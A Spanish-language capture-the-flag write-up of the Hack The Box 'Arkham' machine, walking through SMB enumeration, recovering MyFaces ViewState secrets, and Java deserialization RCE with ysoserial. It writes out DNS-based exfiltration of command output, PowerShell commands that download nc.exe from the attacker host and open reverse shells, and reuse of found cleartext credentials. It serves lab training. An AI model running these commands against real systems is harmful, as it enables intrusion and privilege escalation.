Hack The Box - Arkham Writeup

 

MASSCAN

Escaneo de puertos tcp/udp.
root@sckull:~/htb/arkham# masscan -p1-65535,U:1-65535 10.10.10.130 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-25 19:10:12 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 49666/tcp on 10.10.10.130                                 
Discovered open port 139/tcp on 10.10.10.130                                   
Discovered open port 445/tcp on 10.10.10.130                                   
Discovered open port 135/tcp on 10.10.10.130                                   
Discovered open port 8080/tcp on 10.10.10.130                                  
Discovered open port 49667/tcp on 10.10.10.130

NMAP 

Escaneo de servicios en puertos anteriormente encontrados.
root@sckull:~/htb/arkham# nmap -sV -p 135,139,445,8080,49666,49667 10.10.10.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-25 19:13 GMT
Nmap scan report for 10.10.10.130
Host is up (0.36s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
8080/tcp  open  http          Apache Tomcat 8.5.37
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.49 seconds

SMB 

Buscamos los sharenames a los que tengamos acceso.
root@sckull:~/htb/arkham# smbclient -L 10.10.10.130
Enter WORKGROUP\root's password: 

 Sharename       Type      Comment
 ---------       ----      -------
 ADMIN$          Disk      Remote Admin
 BatShare        Disk      Master Wayne's secrets
 C$              Disk      Default share
 IPC$            IPC       Remote IPC
 Users           Disk      
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.130 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

SMB - BatShare 

Nos conectamos al sharename.
root@sckull:~/htb/arkham# smbclient \\\\10.10.10.130\\BatShare
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> 
smb: \> ls
  .                                   D        0  Sun Feb  3 13:00:10 2019
  ..                                  D        0  Sun Feb  3 13:00:10 2019
  appserver.zip                       A  4046695  Fri Feb  1 06:13:37 2019

  5158399 blocks of size 4096. 2123866 blocks available
smb: \> mget *
Get file appserver.zip? y
getting file \appserver.zip of size 4046695 as appserver.zip (265.1 KiloBytes/sec) (average 265.1 KiloBytes/sec)
smb: \> 


root@sckull:~/htb/arkham# unzip appserver.zip 
Archive:  appserver.zip
  inflating: IMPORTANT.txt           
  inflating: backup.img              
root@sckull:~/htb/arkham# ls
appserver.zip  backup.img  IMPORTANT.txt  tmp
Encontramos un archivo llamado appserver.zip al descomprimir dicho archivo nos muestra dos archivos backup.img e IMPORTANT.txt.  

IMPORTANT.txt
Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce 
file backup.img
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e

BINWALK - backup.img 

Utilizamos binwalk para ver el contenido del archivo backup.img.
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             LUKS_MAGIC version 0x1 aes sha256
519168        0x7EC00         Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995
544768        0x85000         Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995
551936        0x86C00         Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995
8388608       0x800000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995
8542755       0x825A23        Zip archive data, at least v1.0 to extract, name: Mask/tomcat-stuff/
8542831       0x825A6F        Zip archive data, at least v2.0 to extract, compressed size: 1006, uncompressed size: 2208, name: Mask/tomcat-stuff/tomcat-users.xml
8543929       0x825EB9        Zip archive data, at least v2.0 to extract, compressed size: 1151, uncompressed size: 3498, name: Mask/tomcat-stuff/web.xml.bak
8545167       0x82638F        Zip archive data, at least v2.0 to extract, compressed size: 709, uncompressed size: 1368, name: Mask/tomcat-stuff/context.xml
8545963       0x8266AB        Zip archive data, at least v2.0 to extract, compressed size: 621, uncompressed size: 1172, name: Mask/tomcat-stuff/jaspic-providers.xml
8546680       0x826978        Zip archive data, at least v2.0 to extract, compressed size: 367, uncompressed size: 832, name: Mask/tomcat-stuff/faces-config.xml
8547139       0x826B43        Zip archive data, at least v2.0 to extract, compressed size: 2599, uncompressed size: 7678, name: Mask/tomcat-stuff/server.xml
8549824       0x8275C0        Zip archive data, at least v2.0 to extract, compressed size: 18347, uncompressed size: 174021, name: Mask/tomcat-stuff/web.xml
8568254       0x82BDBE        Zip archive data, at least v1.0 to extract, compressed size: 39, uncompressed size: 39, name: Mask/tomcat-stuff/MANIFEST.MF
8568380       0x82BE3C        Zip archive data, at least v2.0 to extract, compressed size: 7353, uncompressed size: 7586, name: Mask/robin.jpeg
8575806       0x82DB3E        Zip archive data, at least v2.0 to extract, compressed size: 105045, uncompressed size: 105374, name: Mask/me.jpg
8680920       0x8475D8        Zip archive data, at least v2.0 to extract, compressed size: 687109, uncompressed size: 687160, name: Mask/mycar.jpg
9466405       0x907225        End of Zip archive, footer length: 22
[ .. ]
9638621       0x9312DD        Copyright string: "copyright/ordfeminine/guillemotleft/logicalnot/hyphen/registered/macron/degree/plusminus/twosuperior/threesuperior/acute/mu/para"
9962496       0x980400        PDF document, version: "1.4"
[ ... ]
9978880       0x984400        XML document, version: "1.0"
9979118       0x9844EE        Copyright string: "copyright ownership."
9981952       0x985000        XML document, version: "1.0"
9986048       0x986000        XML document, version: "1.0"
9986286       0x9860EE        Copyright string: "copyright ownership."
9988096       0x986800        XML document, version: "1.0"
9988334       0x9868EE        Copyright string: "copyright ownership."
9990144       0x987000        XML document, version: "1.0"
9991168       0x987400        XML document, version: "1.0"
9991406       0x9874EE        Copyright string: "copyright ownership."
9999360       0x989400        XML document, version: "1.0"
9999598       0x9894EE        Copyright string: "copyright ownership."
10016768      0x98D800        JPEG image data, JFIF standard 1.01
10024960      0x98F800        JPEG image data, JFIF standard 1.01
10041344      0x993800        JPEG image data, EXIF standard
10041356      0x99380C        TIFF image data, little-endian offset of first image directory: 8
10057728      0x997800        JPEG image data, JFIF standard 1.01
Dentro del archivo encontramos varios documentos que se refieren a archivos tomcat, imagenes, y archivos xml, descomprimimos los archivos con binwalk.
binwalk -e backup.img

Encontramos varios archivos y carpetas, dentro de la carpeta Mask encontramos imagenes y una subcarpeta tomcat-stuff, utilizamos binwalk con las imagenes para verificar que no tengan archivos ocultos dentro. 

Ninguna de las imagenes contiene archivos que puedan servirnos, dentro de la carpeta tomcat-stuff encontramos archivos de configuracion. 

Dentro de los archivos de configuracion encontramos un backup de uno de ellos web.xml.bak, en su interior vemos la configuracion que tiene la pagina, algunos parametros de la configuracion contienen datos que sirven para encriptar los datos que se reciben y se envian por medio de la pagina web y podemos notar que esta corriendo en apache myfaces.

INFO: https://wiki.apache.org/myfaces/Secure_Your_Application

<servlet-mapping>
<servlet-name>Faces Servlet</servlet-name>
<url-pattern>*.faces</url-pattern>
</servlet-mapping>
<context-param>
<description>State saving method: 'client' or 'server' (=default). See JSF Specification 2.5.2</description>
<param-name>javax.faces.STATE_SAVING_METHOD</param-name>
<param-value>server</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
    <context-param>
        <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
        <param-value>HmacSHA1</param-value>
     </context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRE<t param-name="">
<param-value>SnNGOTg3Ni0=</param-value>
</t></param-name></context-param>

HTTP - 8080 

Puerto 8080 en http.

Gobuster 

Considerando que la pagina esta corrriendo en un apache myfaces (web.xml.bak), vamos a utilizar gobuster para buscar directorios y documentos. 

Encontramos directorios y documentos pertenecientes a la pagina, al visitar cada una de las opciones de la pagina nos encontramos una para una subscripcion de correo electronico /userSubscribe.faces la cual no aparecio con gobuster. 

/userSubscribe.faces 


Al registrar un correo nos redirige a otra pagina /thankyou.faces con un mensaje de registro.

ViewState 

Al revisar el codigo fuente de userSubscribe.faces encontramos algunos valores que pertenecen a javax.faces.ViewState.

ViewState JSF utiliza viewStates para almacenar los datos de la vista, pueden ser 'almacenados' en el servidor o el cliente, dichos valores de viewstate estan dentro del html de una pagina como un campo oculto con el nombre de javax.faces.ViewState, como es el caso de la pagina que encontramos. 

Java Deserialization 

Deserializacion y Serializacion es el proceso por el cual se convierte un objeto a bytes y viceversa, para leerlo e interpretarlo por el servidor. Al investigar acerca de dichos valores encontramos que, existe una vulnerabilidad de deserializacion en java, dichos valores del viewstate estan codificados en base64 en algunos casos no estan encriptados por lo que puede ser leido el contenido del valor. Al intentar decodificar en base64 nos muestran algunos caracteres, por lo que podemos afirmar que el objeto esta encoriptado. 

JSF ViewState RCE 

INFO: https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html
Encontramos un post el cual habla de una vulnerabilidad RCE de ViewState en las implementaciones de JSF como Oracle Mojarra (JSF reference implementation), Apache MyFaces. Existen dos 'tipos' de ViewState, el que se almacena en el servidor y el cliente, ambos son objetos serializados, para que dicha vulnerabilidad sea aprovechada para la ejecucion de comandos deben de cumplirse algunas condiciones, el viewstate no debe de estar encriptado, en el caso de Mojarra el viewstate debe de estar configurado en el cliente, en MyFaces puede estar configurado en el cliente o servidor. En el caso de MyFaces encriptar el ViewState esta por defecto activado, puede ser desactivado para hacer tests configurando el parametro de 'org.apache.myfaces.USE_ENCRYPTION = false' y tambien puede utilizar una contraseña para la encriptacion. Tambien nos dice que por defecto Myfaces utiliza DES como algoritmo de encriptacion y HMAC-SHA1 para autenticar el ViewState. Por defecto el almacenamiento del ViewState esta configurado por el lado del servidor 'javax.faces.STATE_SAVING_METHOD = server'.

INFO: https://wiki.apache.org/myfaces/Secure_Your_Application

Algunos post sobre JAVA Deseralization:
https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/
https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/
https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a

Ahora que sabemos todo esto, podemos volver a nuestro archivo web.xml.bak el cual contiene algunos parametros que pueden ser de utilidad para aprovechar el RCE del ViewState y ejecutar comandos dentro de la maquina.
javax.faces.STATE_SAVING_METHOD
server

Tambien tiene una contraseña que es utilizada para encriptar el viewstate.
org.apache.myfaces.SECRET
SnNGOTg3Ni0=

El algoritmo de autenticacion.
org.apache.myfaces.MAC_ALGORITHM
HmacSHA1

Mensaje de autenticacion para el algoritmo
org.apache.myfaces.MAC_SECRET
SnNGOTg3Ni0=

StateUtils.java 

Existen algunas herramientas para explotacion de deserializacion en java como jexboss (https://github.com/joaomatosf/jexboss) y ysoserial (https://github.com/frohoff/ysoserial), tambien existe una version modificada de ysoserial-modified (https://github.com/pimps/ysoserial-modified). Al intentar utilizar estas herramientas contra la maquina no funcionan, por el tipo de encriptacion en la configuracion del archivo (web.xml.bak), estas herramientas aprovechan el viewstatate cuando no estan encriptadas. Para arkham vamos a utilizar ysoserial-modified para generar un payload y encriptarlo por medio de la clase de apache myfaces(https://github.com/apache/myfaces), StateUtils.java, esta clase (https://myfaces.apache.org/core22/myfaces-impl-shared/apidocs/org/apache/myfaces/shared/util/StateUtils.html)contiene metodos que pueden construir y reconstruir un valor de viewstate. 

Configuracion de los campos: 

private static final Logger log = Logger.getLogger(StateUtils.class.getName());
//Cambio por HmacSHA1
public static final String macAlgorithm = "HmacSHA1";
//Cambio por MAC_SECRET -> SnNGOTg3Ni0=
//public static final String INIT_MAC_SECRET = "MAC_SECRET";
//public static final String INIT_MAC_SECRET_KEY_CACHE = "org.apache.myfaces.MAC_SECRET.CACHE";
//configuracion Local encrypt/decrypt
private static final String encodedKey ="SnNGOTg3Ni0=";        
private static final byte[] decodedKey = decode(encodedKey.getBytes());
private static final SecretKey secretKey = new SecretKeySpec(decodedKey,"DES");    
//configuracion Local encrypt/decrypt
private static final String macSecretStr = "SnNGOTg3Ni0=";
private static final byte[] macSecretBytes = decode(macSecretStr.getBytes());
private static final SecretKey macSecretKey = new SecretKeySpec(macSecretBytes, macAlgorithm);    
private static final String ZIP_CHARSET = "ISO-8859-1";
// String DEFAULT_ALGORITHM = "DES";
private static final String algorithm = "DES";
// String DEFAULT_ALGORITHM_PARAMS = "ECB/PKCS5Padding";
private static final String algorithmParams = "ECB/PKCS5Padding";
private static final byte[] iv = null;
Metodos, se eliminan todos los valores ExternalContext, ServletContext:
construct(Object object) 
reconstruct(String string)
encrypt(byte[] insecure)
encode(byte[] bytes)
decrypt(byte[] secure)    
decode(byte[] bytes)
getAsObject(byte[] bytes)
getAsByteArray(Object object)
Creamos un metodo para enviar nuestro payload:
sendPayload(String viewstatePayload)
Para la ejecucion de comandos utilizamos ysoserial-modified.jar para generar un payload:
CommonsCollections1, CommonsCollections2, CommonsCollections3, CommonsCollections4, CommonsCollections5, CommonsCollections6
*Funciona tambien con la version ysoserial.jar, pero se tienen comandos 'limitados', la version modificada es una mejor version que nos permite ejecutar comandos cmd/powershell/sh.*

Ya que desconocemos del payload que funciona, utilizamos los descritos anteriormente, vamos a hacer un request DNS a nuestra maquina con cada payload (ej: nslookup CommonsCollections1 10.10.1X.1X) y el payload que funcione nos aparecerá en nuestra terminal (Utilizamos responder(https://github.com/SpiderLabs/Responder)). 
Aqui se encuentra el codigo:

https://github.com/sckull/ctf-stuff

RCE - Request DNS 


Obtenemos un request DNS y vemos que los payloads que funcionan en arkham son CommonsCollections5, CommonsCollections6, por lo que podemos utilizar cualquiera de ellos para ejecutar comandos en la maquina. De igual forma utilizando nslookup podemos saber que usuario somos y que usuarios existen en la maquina, utilizando los siguientes comandos. 

whoami
//10.10.13.129 & for /f %i in ('whoami') do nslookup %i 10.10.13.129

dir C:\Users
//10.10.13.129 & for /f "tokens=1,2,3" %a in ('dir /B "C:\Users"') do nslookup %a.%b.%c 10.10.13.129


REVERSE SHELL - Alfred 

Para obtener una shell inversa vamos a utilizar powershell para descargar netcat (nc.exe) y ejecutar una shell inversa. Comando *Cambiamos el primer parametro de cmand a "powershell".
wget http://10.10.13.129/nc.exe -o C:\Users\Public\nc.exe; C:\Users\Public\nc.exe -e C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10.10.13.129 443

Obtenemos una shell inversa como Alfred y nuestra bandera User.txt.




Usuarios - Arkham 

Podemos ver que existen otros dos usuarios Batman y Administrator.

Vemos que Batman pertenece al grupo de Administrators

USER - BATMAN

En el directorio C:\Users\alfred\Downloads\backups encontramos un archivo backup.zip, lo trasladamos a nuestra maquina con netcat(https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/). 

Al descomprimirlo nos muestra un archivo .ost de Microsoft Outlook, utilizamos readpst para leer el archivo de correos el cual nos extrajo los borradores (Drafts.mbox). 


Para lectura de Drafts.mbox utilizamos mutt.
mutt -Rf Drafts.mbox

Encontramos una imagen de cmd con un comando que contiene un usuario y contraseña
net use G: \\10.10.10.10\gotham /user:batman Zx^#QZX+T!123


Utilizamos powershell para cambiar al usuario(sesion) Batman con el siguiente comando:
$username ="ARKHAM\batman";$password = convertto-securestring -AsPlainText -Force -String "Zx^#QZX+T!123"; $cred = New-Object System.Management.Automation.PSCredential -ArgumentList $username,$password; New-PSSession -Credential $cred | Enter-PSSession


Exitosamente pudimos cambiar al usuario Batman pero no podemos listar los directorios y archivos.

REVERSE SHELL - BATMAN 

Para obtener una shell inversa con el usuario Batman vamos a utilizar Invoke-Command para descargar netcat (nc.exe) en el directorio de Batman y ejecutar una shell inversa, el siguiente comando se ejecuta con el usuario alfred.
$username = 'ARKHAM\batman';$password = 'Zx^#QZX+T!123';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName ARKHAM -Command {powershell wget http://10.10.15.2:8081/nc.exe -o C:\Users\Batman\Documents\nc.exe; powershell C:\Users\Batman\Documents\nc.exe -e C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10.10.15.2 445}



Obtenemos una shell y podemos ejecutar comandos, pero no podemos acceder a la carpeta de Administrator.

Por alguna razon el siguiente comando funciona para acceder a la carpeta de Administrator, y obtenemos nuestra bandera root.txt.
cd \\10.10.10.130\C$\Users\Administrator\


Sckullbock. Con la tecnología de Blogger.